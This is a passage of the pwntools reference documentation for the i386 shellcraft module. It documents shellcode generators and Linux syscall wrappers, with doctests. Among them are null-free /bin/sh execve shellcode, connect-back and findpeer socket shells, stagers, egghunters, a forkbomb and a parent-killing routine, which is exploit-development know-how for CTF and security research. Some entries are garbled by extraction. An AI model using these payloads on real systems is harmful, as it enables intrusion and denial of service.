>>> exit = shellcraft.i386.linux.exit('edi')
>>> exit_fn = shellcraft.i386.function(exit, 'edi').strip()
>>> shellcode = '''
      push STDOUT_FILENO
       call hello
      push 33
. . .
       call exit
... hello:
    %(hello_fn)s
... exit:
       %(exit_fn)s
... ''' % (locals())
>>> p = run_assembly(shellcode)
>>> p.recvall()
'Hello!'
>>> p.wait_for_close()
>>> p.poll()
33
```

Notes

Can only be used on a shellcraft template which takes all of its arguments as registers. For example, the pushstr pwnlib.shellcraft.i386.getpc(register='ecx')

Retrieves the value of EIP, stores it in the desired register.

Parameters return value - Value to return

```
pwnlib.shellcraft.i386.infloop()
    A two-byte infinite loop.

pwnlib.shellcraft.i386.itoa(v, buffer='esp', allocate_stack=True)
    Converts an integer into its string representation, and pushes it onto the stack.
```

Parameters

- $\mathbf{v}(str, int)$ Integer constant or register that contains the value to convert.
- alloca -

Example

```
>>> sc = shellcraft.i386.mov('eax', 0xdeadbeef)
>>> sc += shellcraft.i386.itoa('eax')
>>> sc += shellcraft.i386.linux.write(1, 'esp', 32)
>>> run_assembly(sc).recvuntil('\x00')
'3735928559\x00'
```

pwnlib.shellcraft.i386.memcpy(dest, src, n)

Copies memory.

Parameters

- dest Destination address
- src Source address
- **n** Number of bytes

pwnlib.shellcraft.i386.mov(dest, src, stack_allowed=True)

Move src into dest without newlines and null bytes.

If the src is a register smaller than the dest, then it will be zero-extended to fit inside the larger register.

If the src is a register larger than the dest, then only some of the bits will be used.

If src is a string that is not a register, then it will locally set *context.arch* to 'i386' and use pwnlib.constants.eval() to evaluate the string. Note that this means that this shellcode can change behavior depending on the value of *context.os*.

Parameters

- **dest** (str) The destination register.
- **src** (*str*) Either the input register, or an immediate value.
- **stack_allowed** (bool) Can the stack be used?

Example

```
>>> print shellcraft.i386.mov('eax','ebx').rstrip()
    mov eax, ebx
>>> print shellcraft.i386.mov('eax', 0).rstrip()
    xor eax, eax
>>> print shellcraft.i386.mov('ax', 0).rstrip()
    xor ax, ax
>>> print shellcraft.i386.mov('ax', 17).rstrip()
```

```
xor ax, ax
   mov al, 0x11
>>> print shellcraft.i386.mov('edi', ord('\n')).rstrip()
   push 9 /* mov edi, '\n' */
   pop edi
   inc edi
>>> print shellcraft.i386.mov('al', 'ax').rstrip()
    /* moving ax into al, but this is a no-op */
>>> print shellcraft.i386.mov('al','ax').rstrip()
    /* moving ax into al, but this is a no-op */
>>> print shellcraft.i386.mov('esp', 'esp').rstrip()
    /* moving esp into esp, but this is a no-op */
>>> print shellcraft.i386.mov('ax', 'bl').rstrip()
   movzx ax, bl
>>> print shellcraft.i386.mov('eax', 1).rstrip()
   push 1
   pop eax
>>> print shellcraft.i386.mov('eax', 1, stack_allowed=False).rstrip()
   xor eax, eax
   mov al, 1
>>> print shellcraft.i386.mov('eax', 0xdead00ff).rstrip()
   mov eax, -0xdead00ff
   neg eax
>>> print shellcraft.i386.mov('eax', 0xc0).rstrip()
   xor eax, eax
   mov al, 0xc0
>>> print shellcraft.i386.mov('edi', 0xc0).rstrip()
   mov edi, -0xc0
   neg edi
>>> print shellcraft.i386.mov('eax', 0xc000).rstrip()
   xor eax, eax
   mov ah, 0xc000 >> 8
>>> print shellcraft.i386.mov('eax', 0xffc000).rstrip()
   mov eax, 0x1010101
   xor eax, 0x1010101 ^ 0xffc000
>>> print shellcraft.i386.mov('edi', 0xc000).rstrip()
   mov edi, (-1) ^ 0xc000
   not edi
>>> print shellcraft.i386.mov('edi', 0xf500).rstrip()
   mov edi, 0x1010101
   xor edi, 0x1010101 ^ 0xf500
>>> print shellcraft.i386.mov('eax', 0xc0c0).rstrip()
   xor eax, eax
   mov ax, 0xc0c0
>>> print shellcraft.i386.mov('eax', 'SYS_execve').rstrip()
   push (SYS_execve) /* 0xb */
   pop eax
>>> with context.local(os='freebsd'):
       print shellcraft.i386.mov('eax', 'SYS_execve').rstrip()
   push (SYS_execve) /* 0x3b */
   pop eax
>>> print shellcraft.i386.mov('eax', 'PROT_READ | PROT_WRITE | PROT_EXEC').rstrip()
   push (PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */
   pop eax
```

```
pwnlib.shellcraft.i386.nop()
    A single-byte nop instruction.
pwnlib.shellcraft.i386.prolog()
```

Function prologue.

```
pwnlib.shellcraft.i386.push(value)
```

Pushes a value onto the stack without using null bytes or newline characters.

If src is a string, then we try to evaluate with *context.arch* = 'i386' using pwnlib.constants.eval() before determining how to push it. Note that this means that this shellcode can change behavior depending on the value of *context.os*.

Parameters value (int, str) – The value or register to push

Example

```
>>> print pwnlib.shellcraft.i386.push(0).rstrip()
    /* push 0 */
   push 1
   dec byte ptr [esp]
>>> print pwnlib.shellcraft.i386.push(1).rstrip()
    /* push 1 */
   push 1
>>> print pwnlib.shellcraft.i386.push(256).rstrip()
    /* push 0x100 */
   push 0x1010201
   xor dword ptr [esp], 0x1010301
>>> print pwnlib.shellcraft.i386.push('SYS_execve').rstrip()
    /* push (SYS_execve) (0xb) */
   push 0xb
>>> print pwnlib.shellcraft.i386.push('SYS_sendfile').rstrip()
   /* push (SYS_sendfile) (0xbb) */
   push 0x1010101
   xor dword ptr [esp], 0x10101ba
>>> with context.local(os = 'freebsd'):
       print pwnlib.shellcraft.i386.push('SYS_execve').rstrip()
    /* push (SYS_execve) (0x3b) */
   push 0x3b
```

pwnlib.shellcraft.i386.pushstr(string, append_null=True)

Pushes a string onto the stack without using null bytes or newline characters.

Example

```
>>> print shellcraft.i386.pushstr('').rstrip()
    /* push '\x00' */
    push 1
    dec byte ptr [esp]
>>> print shellcraft.i386.pushstr('a').rstrip()
    /* push 'a\x00' */
    push 0x61
>>> print shellcraft.i386.pushstr('aa').rstrip()
    /* push 'aa\x00' */
    push 0x1010101
    xor dword ptr [esp], 0x1016060
>>> print shellcraft.i386.pushstr('aaa').rstrip()
    /* push 'aaa\x00' */
    push 0x1010101
    xor dword ptr [esp], 0x1606060
```

```
>>> print shellcraft.i386.pushstr('aaaa').rstrip()
   /* push 'aaaa\x00' */
   push 1
    dec byte ptr [esp]
   push 0x61616161
>>> print shellcraft.i386.pushstr('aaaaa').rstrip()
    /* push 'aaaaa\x00' */
   push 0x61
   push 0x61616161
>>> print shellcraft.i386.pushstr('aaaa', append_null = False).rstrip()
   /* push 'aaaa' */
   push 0x61616161
>>> print shellcraft.i386.pushstr('\xc3').rstrip()
   /* push '\xc3\x00' */
   push 0x1010101
   xor dword ptr [esp], 0x10101c2
>>> print shellcraft.i386.pushstr('\xc3', append_null = False).rstrip()
   /* push '\xc3' */
   push -0x3d
>>> with context.local():
... context.arch = 'i386'
     print enhex(asm(shellcraft.pushstr("/bin/sh")))
68010101018134242e726901682f62696e
>>> with context.local():
     context.arch = 'i386'
     print enhex(asm(shellcraft.pushstr("")))
6a01fe0c24
>>> with context.local():
      context.arch = 'i386'
      print enhex(asm(shellcraft.pushstr("\x00", False)))
6a01fe0c24
```

Parameters

- **string** (str) The string to push.
- append_null (bool) Whether to append a single NULL-byte before pushing.

```
pwnlib.shellcraft.i386.pushstr_array(reg, array)
```

Pushes an array/envp-style array of pointers onto the stack.

Parameters

- reg (str) Destination register to hold the pointer.
- **array** (str, list) Single argument or list of arguments to push. NULL termination is normalized so that each argument ends with exactly one NULL byte.

```
pwnlib.shellcraft.i386.ret (return_value=None)
```

A single-byte RET instruction.

Parameters return_value - Value to return

```
pwnlib.shellcraft.i386.setregs(reg_context, stack_allowed=True)
```

Sets multiple registers, taking any register dependencies into account (i.e., given eax=1,ebx=eax, set ebx first).

- reg_context (dict) Desired register context
- stack allowed (bool) Can the stack be used?

Example

```
>>> print shellcraft.setregs({'eax':1, 'ebx':'eax'}).rstrip()
    mov ebx, eax
    push 1
    pop eax
>>> print shellcraft.setregs({'eax':'ebx', 'ebx':'eax', 'ecx':'ebx'}).rstrip()
    mov ecx, ebx
    xchg eax, ebx
```

pwnlib.shellcraft.i386.stackarg(index, register)

Loads a stack-based argument into a register.

Assumes that the 'prolog' code was used to save EBP.

Parameters

- **index** (*int*) Zero-based argument index.
- register (str) Register name.

```
pwnlib.shellcraft.i386.stackhunter(cookie = 0x7afceb58)
```

Returns an an egghunter, which searches from esp and upwards for a cookie. However to save bytes, it only looks at a single 4-byte alignment. Use the function stackhunter_helper to generate a suitable cookie prefix for you.

The default cookie has been chosen, because it makes it possible to shave a single byte, but other cookies can be used too.

Example

```
pwnlib.shellcraft.i386.strcpy(dst, src)
```

Copies a string

Example

```
>>> sc = 'jmp get_str\n'
>>> sc += 'pop_str: pop eax\n'
>>> sc += shellcraft.i386.strcpy('esp', 'eax')
>>> sc += shellcraft.i386.linux.write(1, 'esp', 32)
>>> sc += shellcraft.i386.linux.exit(0)
>>> sc += 'get_str: call pop_str\n'
>>> sc += '.asciz "Hello, world\\n"'
>>> run_assembly(sc).recvline()
'Hello, world\n'
```

pwnlib.shellcraft.i386.strlen(string, reg='ecx')

Calculate the length of the specified string.

Parameters

- **string** (str) Register or address with the string
- reg(str) Named register to return the value in, ecx is the default.

Example

```
>>> sc = 'jmp get_str\n'
>>> sc += 'pop_str: pop eax\n'
>>> sc += shellcraft.i386.strlen('eax')
>>> sc += 'push ecx;'
>>> sc += shellcraft.i386.linux.write(1, 'esp', 4)
>>> sc += shellcraft.i386.linux.exit(0)
>>> sc += 'get_str: call pop_str\n'
>>> sc += '.asciz "Hello, world\\n"'
>>> run_assembly(sc).unpack() == len('Hello, world\n')
True
```

```
pwnlib.shellcraft.i386.trap()
    A trap instruction.
```

pwnlib.shellcraft.i386.xor(key, address, count)

XORs data a constant value.

Parameters

- **key** (*int*, *str*) XOR key either as a 4-byte integer, If a string, length must be a power of two, and not longer than 4 bytes. Alternately, may be a register.
- address (int) Address of the data (e.g. 0xdead0000, 'esp')
- count (int) Number of bytes to XOR, or a register containing the number of bytes to XOR.

Example

```
>>> sc = shellcraft.read(0, 'esp', 32)
>>> sc += shellcraft.xor(0xdeadbeef, 'esp', 32)
>>> sc += shellcraft.write(1, 'esp', 32)
>>> io = run_assembly(sc)
>>> io.send(cyclic(32))
>>> result = io.recvn(32)
>>> expected = xor(cyclic(32), p32(0xdeadbeef))
>>> result == expected
True
```

pwnlib.shellcraft.i386.linux

Shellcraft module containing Intel i386 shellcodes for Linux.

```
pwnlib.shellcraft.i386.linux.accept (fd, addr, addr_len) Invokes the syscall accept. See 'man 2 accept' for more information.
```

Parameters

• fd(int)-fd

```
• addr (SOCKADDR ARG) - addr
```

• addr_len (socklen_t) - addr_len

pwnlib.shellcraft.i386.linux.acceptloop_ipv4 (port)

Parameters port (int) – the listening port

Waits for a connection. Leaves socket in EBP. ipv4 only

pwnlib.shellcraft.i386.linux.access(name, type)

Invokes the syscall access. See 'man 2 access' for more information.

Parameters

- name (char) name
- **type** (*int*) type

pwnlib.shellcraft.i386.linux.acct (name)

Invokes the syscall acct. See 'man 2 acct' for more information.

Parameters name (char) - name

pwnlib.shellcraft.i386.linux.alarm(seconds)

Invokes the syscall alarm. See 'man 2 alarm' for more information.

Parameters seconds (unsigned) - seconds

pwnlib.shellcraft.i386.linux.bind(fd, addr, length)

Invokes the syscall bind. See 'man 2 bind' for more information.

Parameters

- fd(int)-fd
- addr (CONST_SOCKADDR_ARG) addr
- len(socklen_t)-len

pwnlib.shellcraft.i386.linux.brk (addr)

Invokes the syscall brk. See 'man 2 brk' for more information.

Parameters addr (void) – addr

pwnlib.shellcraft.i386.linux.cat (filename, fd=1)

Opens a file and writes its contents to the specified file descriptor.

Example

```
>>> f = tempfile.mktemp()
>>> write(f, 'FLAG')
>>> run_assembly(shellcraft.i386.linux.cat(f)).recvall()
'FLAG'
```

pwnlib.shellcraft.i386.linux.chdir(path)

Invokes the syscall chdir. See 'man 2 chdir' for more information.

Parameters path (char) - path

pwnlib.shellcraft.i386.linux.chmod(file, mode)

Invokes the syscall chmod. See 'man 2 chmod' for more information.

- file (char) file
- **mode** (*mode_t*) **mode**

pwnlib.shellcraft.i386.linux.chown(file, owner, group)

Invokes the syscall chown. See 'man 2 chown' for more information.

Parameters

- file (char) file
- owner (uid_t) owner
- **group** (*gid_t*) group

pwnlib.shellcraft.i386.linux.chroot(path)

Invokes the syscall chroot. See 'man 2 chroot' for more information.

Parameters path (char) - path

pwnlib.shellcraft.i386.linux.clock_getres(clock_id, res)

Invokes the syscall clock_getres. See 'man 2 clock_getres' for more information.

Parameters

- clock id (clockid t) clock id
- res(timespec)-res

pwnlib.shellcraft.i386.linux.clock_gettime(clock_id, tp)

Invokes the syscall clock_gettime. See 'man 2 clock_gettime' for more information.

Parameters

- clock_id(clockid_t)-clock_id
- **tp** (timespec) **tp**

pwnlib.shellcraft.i386.linux.clock_nanosleep(clock_id, flags, req, rem)

Invokes the syscall clock_nanosleep. See 'man 2 clock_nanosleep' for more information.

Parameters

- clock_id(clockid_t)-clock_id
- flags (int) flags
- req(timespec)-req
- rem (timespec) rem

pwnlib.shellcraft.i386.linux.clock settime(clock id, tp)

Invokes the syscall clock_settime. See 'man 2 clock_settime' for more information.

Parameters

- $clock_id(clockid_t) clock_id$
- **tp**(timespec)-tp

pwnlib.shellcraft.i386.linux.clone(fn, child_stack, flags, arg, vararg)

Invokes the syscall clone. See 'man 2 clone' for more information.

- fn (int) fn
- child stack (void) child stack

```
• flags (int) - flags
```

- arg (void) arg
- **vararg** (int) vararg

pwnlib.shellcraft.i386.linux.close(fd)

Invokes the syscall close. See 'man 2 close' for more information.

```
Parameters fd(int)-fd
```

pwnlib.shellcraft.i386.linux.connect(host, port, network='ipv4')

Connects to the host on the specified port. Leaves the connected socket in edx

Parameters

- host (str) Remote IP address or hostname (as a dotted quad / string)
- port (int) Remote port
- **network** (str) Network protocol (ipv4 or ipv6)

Examples

```
>>> l = listen(timeout=5)
>>> assembly = shellcraft.i386.linux.connect('localhost', l.lport)
>>> assembly += shellcraft.i386.pushstr('Hello')
>>> assembly += shellcraft.i386.linux.write('edx', 'esp', 5)
>>> p = run_assembly(assembly)
>>> l.wait_for_connection().recv()
'Hello'
```

```
>>> l = listen(fam='ipv6', timeout=5)
>>> assembly = shellcraft.i386.linux.connect('ip6-localhost', l.lport, 'ipv6')
>>> p = run_assembly(assembly)
>>> assert l.wait_for_connection()
```

pwnlib.shellcraft.i386.linux.connectstager(host, port, network='ipv4')

connect recvsize stager :param host, where to connect to: :param port, which port to connect to: :param network, ipv4 or ipv6? (default: ipv4)

pwnlib.shellcraft.i386.linux.creat(file, mode)

Invokes the syscall creat. See 'man 2 creat' for more information.

Parameters

- file (char) file
- mode (mode_t) mode

pwnlib.shellcraft.i386.linux.dir(in_fd='ebp', size=2048, allocate_stack=True)

Reads to the stack from a directory.

Parameters

- in_fd (int/str) File descriptor to be read from.
- size (int) Buffer size.
- allocate_stack (bool) allocate 'size' bytes on the stack.

You can optioanly shave a few bytes not allocating the stack space.

The size read is left in eax.

```
pwnlib.shellcraft.i386.linux.dup(fd, fd2)
```

Invokes the syscall dup. See 'man 2 dup' for more information.

Parameters fd(int)-fd

pwnlib.shellcraft.i386.linux.dup2 (fd, fd2)

Invokes the syscall dup2. See 'man 2 dup2' for more information.

Parameters

- fd(int)-fd
- fd2 (int) fd2

pwnlib.shellcraft.i386.linux.dup3(fd, fd2, flags)

Invokes the syscall dup3. See 'man 2 dup3' for more information.

Parameters

- fd(int)-fd
- fd2 (int) fd2
- flags (int) flags

```
pwnlib.shellcraft.i386.linux.dupio(sock='ebp')
```

Args: [sock (imm/reg) = ebp] Duplicates sock to stdin, stdout and stderr

```
pwnlib.shellcraft.i386.linux.dupsh(sock='ebp')
```

Args: [sock (imm/reg) = ebp] Duplicates sock to stdin, stdout and stderr and spawns a shell.

pwnlib.shellcraft.i386.linux.echo(string, sock='1')

Writes a string to a file descriptor

Example

```
>>> run_assembly(shellcraft.echo('hello', 1)).recvall()
'hello'
```

pwnlib.shellcraft.i386.linux.egghunter(egg, start_address = 0)

Searches memory for the byte sequence 'egg'.

Return value is the address immediately following the match, stored in RDI.

Parameters

- egg (str, int) String of bytes, or word-size integer to search for
- **start_address** (*int*) Where to start the search

```
pwnlib.shellcraft.i386.linux.epoll_create(size)
```

Invokes the syscall epoll_create. See 'man 2 epoll_create' for more information.

```
Parameters size (int) - size
```

```
pwnlib.shellcraft.i386.linux.epoll_create1(flags)
```

Invokes the syscall epoll_create1. See 'man 2 epoll_create1' for more information.

Parameters flags (int) – flags

```
pwnlib.shellcraft.i386.linux.epoll_ctl(epfd, op, fd, event)
```

Invokes the syscall epoll_ctl. See 'man 2 epoll_ctl' for more information.

```
• epfd(int)-epfd
```

- **op** (int) **op**
- fd(int)-fd
- event (epoll_event) event

pwnlib.shellcraft.i386.linux.epoll_pwait (epfd, events, maxevents, timeout, ss)
Invokes the syscall epoll_pwait. See 'man 2 epoll_pwait' for more information.

Parameters

- epfd(int)-epfd
- events (epoll_event) events
- maxevents (int) maxevents
- timeout (int) timeout
- **ss** (sigset_t) ss

pwnlib.shellcraft.i386.linux.epoll_wait (epfd, events, maxevents, timeout) Invokes the syscall epoll_wait. See 'man 2 epoll_wait' for more information.

Parameters

- epfd(int)-epfd
- events (epoll_event) events
- maxevents (int) maxevents
- timeout (int) timeout

pwnlib.shellcraft.i386.linux.**execve**(path='/bin///sh', argv=0, envp=0)

Execute a different process.

Attempts to perform some automatic detection of types. Otherwise, the arguments behave as normal.

- •If path is a string that is not a known register, it is pushed onto the stack.
- •If argv is an array of strings, it is pushed onto the stack, and NULL-terminated.
- •If envp is an dictionary of {string:string}, it is pushed onto the stack, and NULL-terminated.

Example

```
>>> path = '/bin/sh'
>>> argv = ['sh', '-c', 'echo Hello, $NAME; exit $STATUS']
>>> envp = {'NAME': 'zerocool', 'STATUS': 3}
>>> sc = shellcraft.i386.linux.execve(path, argv, envp)
>>> io = run_assembly(sc)
>>> io.recvall()
'Hello, zerocool\n'
>>> io.poll(True)
3
```

pwnlib.shellcraft.i386.linux.exit (status=None)

Invokes the syscall exit. See 'man 2 exit' for more information.

Parameters status (int) – status

Doctest

>>> run_assembly_exitcode(shellcraft.exit(33))
33

pwnlib.shellcraft.i386.linux.faccessat (fd, file, type, flag)

Invokes the syscall faccessat. See 'man 2 faccessat' for more information.

Parameters

- **fd**(int)-fd
- file (char) file
- type (int) type
- flag(int) flag

pwnlib.shellcraft.i386.linux.fallocate(fd, mode, offset, length)

Invokes the syscall fallocate. See 'man 2 fallocate' for more information.

Parameters

- **fd** (int) fd
- mode (int) mode
- offset (off_t) offset
- len (off_t) len

pwnlib.shellcraft.i386.linux.fchdir(fd)

Invokes the syscall fchdir. See 'man 2 fchdir' for more information.

pwnlib.shellcraft.i386.linux.fchmod(fd, mode)

Invokes the syscall fchmod. See 'man 2 fchmod' for more information.

Parameters

- fd(int)-fd
- mode (mode_t) mode

pwnlib.shellcraft.i386.linux.fchmodat (fd, file, mode, flag)

Invokes the syscall fchmodat. See 'man 2 fchmodat' for more information.

Parameters

- **fd** (int) fd
- file (char) file
- mode (mode_t) mode
- flag(int) flag

pwnlib.shellcraft.i386.linux.fchown(fd, owner, group)

Invokes the syscall fchown. See 'man 2 fchown' for more information.

- **fd** (int) fd
- owner (uid_t) owner
- **group** (gid t) group

pwnlib.shellcraft.i386.linux.**fchownat** (fd, file, owner, group, flag)
Invokes the syscall fchownat. See 'man 2 fchownat' for more information.

Parameters

- **fd** (int) fd
- file (char) file
- owner (uid t) owner
- **group** (gid_t) group
- flag(int)-flag

pwnlib.shellcraft.i386.linux.fcntl(fd, cmd, vararg)

Invokes the syscall fcntl. See 'man 2 fcntl' for more information.

Parameters

- **fd**(int)-fd
- cmd (int) cmd
- vararg(int) vararg

pwnlib.shellcraft.i386.linux.fdatasync(fildes)

Invokes the syscall fdatasync. See 'man 2 fdatasync' for more information.

pwnlib.shellcraft.i386.linux.findpeer(port=None)

Args: port (defaults to any port) Finds a socket, which is connected to the specified port. Leaves socket in ESI.

pwnlib.shellcraft.i386.linux.findpeersh(port=None)

Args: port (defaults to any) Finds an open socket which connects to a specified port, and then opens a dup2 shell on it.

pwnlib.shellcraft.i386.linux.findpeerstager(port=None)

Findpeer recvsize stager :param port, the port given to findpeer: :type port, the port given to findpeer: defaults to any

pwnlib.shellcraft.i386.linux.flock(fd, operation)

Invokes the syscall flock. See 'man 2 flock' for more information.

Parameters

- fd(int)-fd
- operation (int) operation

pwnlib.shellcraft.i386.linux.fork()

Invokes the syscall fork. See 'man 2 fork' for more information.

Arguments:

pwnlib.shellcraft.i386.linux.forkbomb()

Performs a forkbomb attack.

pwnlib.shellcraft.i386.linux.forkexit()

Attempts to fork. If the fork is successful, the parent exits.

pwnlib.shellcraft.i386.linux.fstat(fd, buf)

Invokes the syscall fstat. See 'man 2 fstat' for more information.

- **fd**(int)-fd
- buf (stat) buf

pwnlib.shellcraft.i386.linux.fstat64(fd, buf)

Invokes the syscall fstat64. See 'man 2 fstat64' for more information.

Parameters

- **fd**(int)-fd
- **buf** (stat64) buf

pwnlib.shellcraft.i386.linux.fstatat64 (fd, file, buf, flag)

Invokes the syscall fstatat64. See 'man 2 fstatat64' for more information.

Parameters

- **fd** (int) fd
- file (char) file
- **buf** (stat64) buf
- flag(int)-flag

pwnlib.shellcraft.i386.linux.fsync(fd)

Invokes the syscall fsync. See 'man 2 fsync' for more information.

Parameters fd (int) - fd

pwnlib.shellcraft.i386.linux.ftruncate(fd, length)

Invokes the syscall ftruncate. See 'man 2 ftruncate' for more information.

Parameters

- **fd**(int)-fd
- length (off_t) length

pwnlib.shellcraft.i386.linux.ftruncate64 (fd, length)

Invokes the syscall ftruncate64. See 'man 2 ftruncate64' for more information.

Parameters

- **fd**(int)-fd
- length (off64_t) length

pwnlib.shellcraft.i386.linux.futimesat (fd, file, tvp)

Invokes the syscall futimesat. See 'man 2 futimesat' for more information.

Parameters

- fd(int)-fd
- file (char) file
- tvp (timeval) tvp

pwnlib.shellcraft.i386.linux.getcwd(buf, size)

Invokes the syscall getcwd. See 'man 2 getcwd' for more information.

- buf (char) buf
- **size** (*size_t*) **size**

```
pwnlib.shellcraft.i386.linux.getdents(fd, dirp, count)
```

Invokes the syscall getdents. See 'man 2 getdents' for more information.

Parameters

- **fd** (int) fd
- **dirp** (*int*) dirp
- count (int) count

Invokes the syscall getegid. See 'man 2 getegid' for more information.

Arguments:

```
pwnlib.shellcraft.i386.linux.geteuid()
```

Invokes the syscall geteuid. See 'man 2 geteuid' for more information.

Arguments:

Invokes the syscall getgid. See 'man 2 getgid' for more information.

Arguments:

Invokes the syscall getgroups. See 'man 2 getgroups' for more information.

Parameters

- size (int) size
- **list** (*gid_t*) list

Invokes the syscall getitimer. See 'man 2 getitimer' for more information.

Parameters

- which (itimer_which_t) which
- value (itimerval) value

Invokes the syscall getpeername. See 'man 2 getpeername' for more information.

Parameters

- fd(int)-fd
- addr (SOCKADDR ARG) addr
- len (socklen_t) len

Invokes the syscall getpgid. See 'man 2 getpgid' for more information.

Parameters pid (pid_t) - pid

Invokes the syscall getpgrp. See 'man 2 getpgrp' for more information.

Arguments:

```
pwnlib.shellcraft.i386.linux.getpid()
```

Invokes the syscall getpid. See 'man 2 getpid' for more information.

Arguments:

pwnlib.shellcraft.i386.linux.getpmsg (fildes, ctlptr, dataptr, bandp, flagsp)
Invokes the syscall getpmsg. See 'man 2 getpmsg' for more information.

Parameters

- fildes (int) fildes
- ctlptr(strbuf) ctlptr
- dataptr (strbuf) dataptr
- bandp (int) bandp
- flagsp (int) flagsp

pwnlib.shellcraft.i386.linux.getppid()

Invokes the syscall getppid. See 'man 2 getppid' for more information.

Arguments:

pwnlib.shellcraft.i386.linux.getpriority(which, who)

Invokes the syscall getpriority. See 'man 2 getpriority' for more information.

Parameters

- which (priority_which_t) which
- **who** (*id_t*) who

pwnlib.shellcraft.i386.linux.getresgid(rgid, egid, sgid)

Invokes the syscall getresgid. See 'man 2 getresgid' for more information.

Parameters

- **rgid** (*gid_t*) **rgid**
- $egid(gid_t) egid$
- sgid (gid_t) sgid

pwnlib.shellcraft.i386.linux.getresuid(ruid, euid, suid)

Invokes the syscall getresuid. See 'man 2 getresuid' for more information.

Parameters

- **ruid** (*uid_t*) **ruid**
- euid(uid t) euid
- suid (uid t) suid

pwnlib.shellcraft.i386.linux.getrlimit(resource, rlimits)

Invokes the syscall getrlimit. See 'man 2 getrlimit' for more information.

Parameters

- resource (rlimit_resource_t) resource
- rlimits (rlimit) rlimits

pwnlib.shellcraft.i386.linux.getrusage(who, usage)

Invokes the syscall getrusage. See 'man 2 getrusage' for more information.

Parameters

• who (rusage_who_t) - who

• usage (rusage) - usage

pwnlib.shellcraft.i386.linux.getsid(pid)

Invokes the syscall getsid. See 'man 2 getsid' for more information.

Parameters pid (pid_t) - pid

pwnlib.shellcraft.i386.linux.getsockname(fd, addr, length)

Invokes the syscall getsockname. See 'man 2 getsockname' for more information.

Parameters

- **fd**(int)-fd
- addr (SOCKADDR_ARG) addr
- len (socklen_t) len

pwnlib.shellcraft.i386.linux.getsockopt (fd, level, optname, optval, optlen) Invokes the syscall getsockopt. See 'man 2 getsockopt' for more information.

Parameters

- **fd** (int) fd
- level (int) level
- optname (int) optname
- optval (void) optval
- optlen (socklen_t) optlen

pwnlib.shellcraft.i386.linux.gettimeofday(tv, tz)

Invokes the syscall gettimeofday. See 'man 2 gettimeofday' for more information.

Parameters

- tv(timeval)-tv
- tz(timezone_ptr_t)-tz

pwnlib.shellcraft.i386.linux.getuid()

Invokes the syscall getuid. See 'man 2 getuid' for more information.

Arguments:

pwnlib.shellcraft.i386.linux.gtty(fd, params)

Invokes the syscall gtty. See 'man 2 gtty' for more information.

Parameters

- **fd** (int) fd
- params (sqttyb) params

pwnlib.shellcraft.i386.linux.i386_to_amd64()

Returns code to switch from i386 to amd64 mode.

pwnlib.shellcraft.i386.linux.ioctl(fd, request, vararg)

Invokes the syscall ioctl. See 'man 2 ioctl' for more information.

- **fd** (int) fd
- request (unsigned) request
- vararg(int) vararg

pwnlib.shellcraft.i386.linux.ioperm(from_, num, turn_on)

Invokes the syscall ioperm. See 'man 2 ioperm' for more information.

Parameters

- from (unsigned) from
- num (unsigned) num
- turn_on (int) turn_on

pwnlib.shellcraft.i386.linux.iopl(level)

Invokes the syscall iopl. See 'man 2 iopl' for more information.

Parameters level (int) - level

pwnlib.shellcraft.i386.linux.kill(pid, sig)

Invokes the syscall kill. See 'man 2 kill' for more information.

Parameters

- **pid** (pid_t) **pid**
- **sig** (int) sig

pwnlib.shellcraft.i386.linux.killparent()

Kills its parent process until whatever the parent is (probably init) cannot be killed any longer.

pwnlib.shellcraft.i386.linux.lchown (file, owner, group)

Invokes the syscall lchown. See 'man 2 lchown' for more information.

Parameters

- file (char) file
- owner (uid_t) owner
- **group** (*gid_t*) group

pwnlib.shellcraft.i386.linux.link(from_, to)

Invokes the syscall link. See 'man 2 link' for more information.

Parameters

- from (char) from
- **to** (char) **to**

pwnlib.shellcraft.i386.linux.linkat (fromfd, from_, tofd, to, flags)

Invokes the syscall linkat. See 'man 2 linkat' for more information.

Parameters

- fromfd(int) fromfd
- from (char) from
- tofd(int) tofd
- to (char) to
- flags (int) flags

pwnlib.shellcraft.i386.linux.listen (fd, n)

Invokes the syscall listen. See 'man 2 listen' for more information.

Parameters

• fd (int) - fd

```
• n (int) - n
```

```
pwnlib.shellcraft.i386.linux.loader(address)
```

Loads a statically-linked ELF into memory and transfers control.

Parameters address (*int*) – Address of the ELF as a register or integer.

```
pwnlib.shellcraft.i386.linux.loader_append(data=None)
```

Loads a statically-linked ELF into memory and transfers control.

Similar to loader.asm but loads an appended ELF.

Parameters data (str) – If a valid filename, the data is loaded from the named file. Otherwise, this is treated as raw ELF data to append. If None, it is ignored.

Example

```
>>> gcc = process(['gcc','-m32','-xc','-static','-W1,-Ttext-segment=0x20000000','-'])
>>> gcc.write('''
... int main() {
... printf("Hello, %s!\\n", "i386");
... }
... ''')
>>> gcc.shutdown('send')
>>> gcc.poll(True)
0
>>> sc = shellcraft.loader_append('a.out')
```

The following doctest is commented out because it doesn't work on Travis for reasons I cannot diagnose. However, it should work just fine :-)

```
#>>> run assembly(sc).recvline() == 'Hello, i386!n' # True
```

pwnlib.shellcraft.i386.linux.lseek(fd, offset, whence)

Invokes the syscall lseek. See 'man 2 lseek' for more information.

Parameters

- fd(int)-fd
- offset (off_t) offset
- whence (int) whence

pwnlib.shellcraft.i386.linux.lstat(file, buf)

Invokes the syscall lstat. See 'man 2 lstat' for more information.

Parameters

- file (char) file
- buf (stat) buf

pwnlib.shellcraft.i386.linux.lstat64(file, buf)

Invokes the syscall lstat64. See 'man 2 lstat64' for more information.

Parameters

- file (char) file
- **buf** (stat64) buf

pwnlib.shellcraft.i386.linux.madvise(addr, length, advice)

Invokes the syscall madvise. See 'man 2 madvise' for more information.

Parameters

- addr (void) addr
- **len** (*size_t*) len
- advice (int) advice

pwnlib.shellcraft.i386.linux.mincore(start, length, vec)

Invokes the syscall mincore. See 'man 2 mincore' for more information.

Parameters

- start (void) start
- len (size_t) len
- **vec** (unsigned) **vec**

pwnlib.shellcraft.i386.linux.mkdir(path, mode)

Invokes the syscall mkdir. See 'man 2 mkdir' for more information.

Parameters

- path (char) path
- mode (mode_t) mode

pwnlib.shellcraft.i386.linux.mkdirat(fd, path, mode)

Invokes the syscall mkdirat. See 'man 2 mkdirat' for more information.

Parameters

- fd(int)-fd
- path (char) path
- **mode** (*mode_t*) **mode**

pwnlib.shellcraft.i386.linux.mknod(path, mode, dev)

Invokes the syscall mknod. See 'man 2 mknod' for more information.

Parameters

- path (char) path
- mode (mode_t) mode
- **dev** (dev_t) dev

pwnlib.shellcraft.i386.linux.mknodat (fd, path, mode, dev)

Invokes the syscall mknodat. See 'man 2 mknodat' for more information.

Parameters

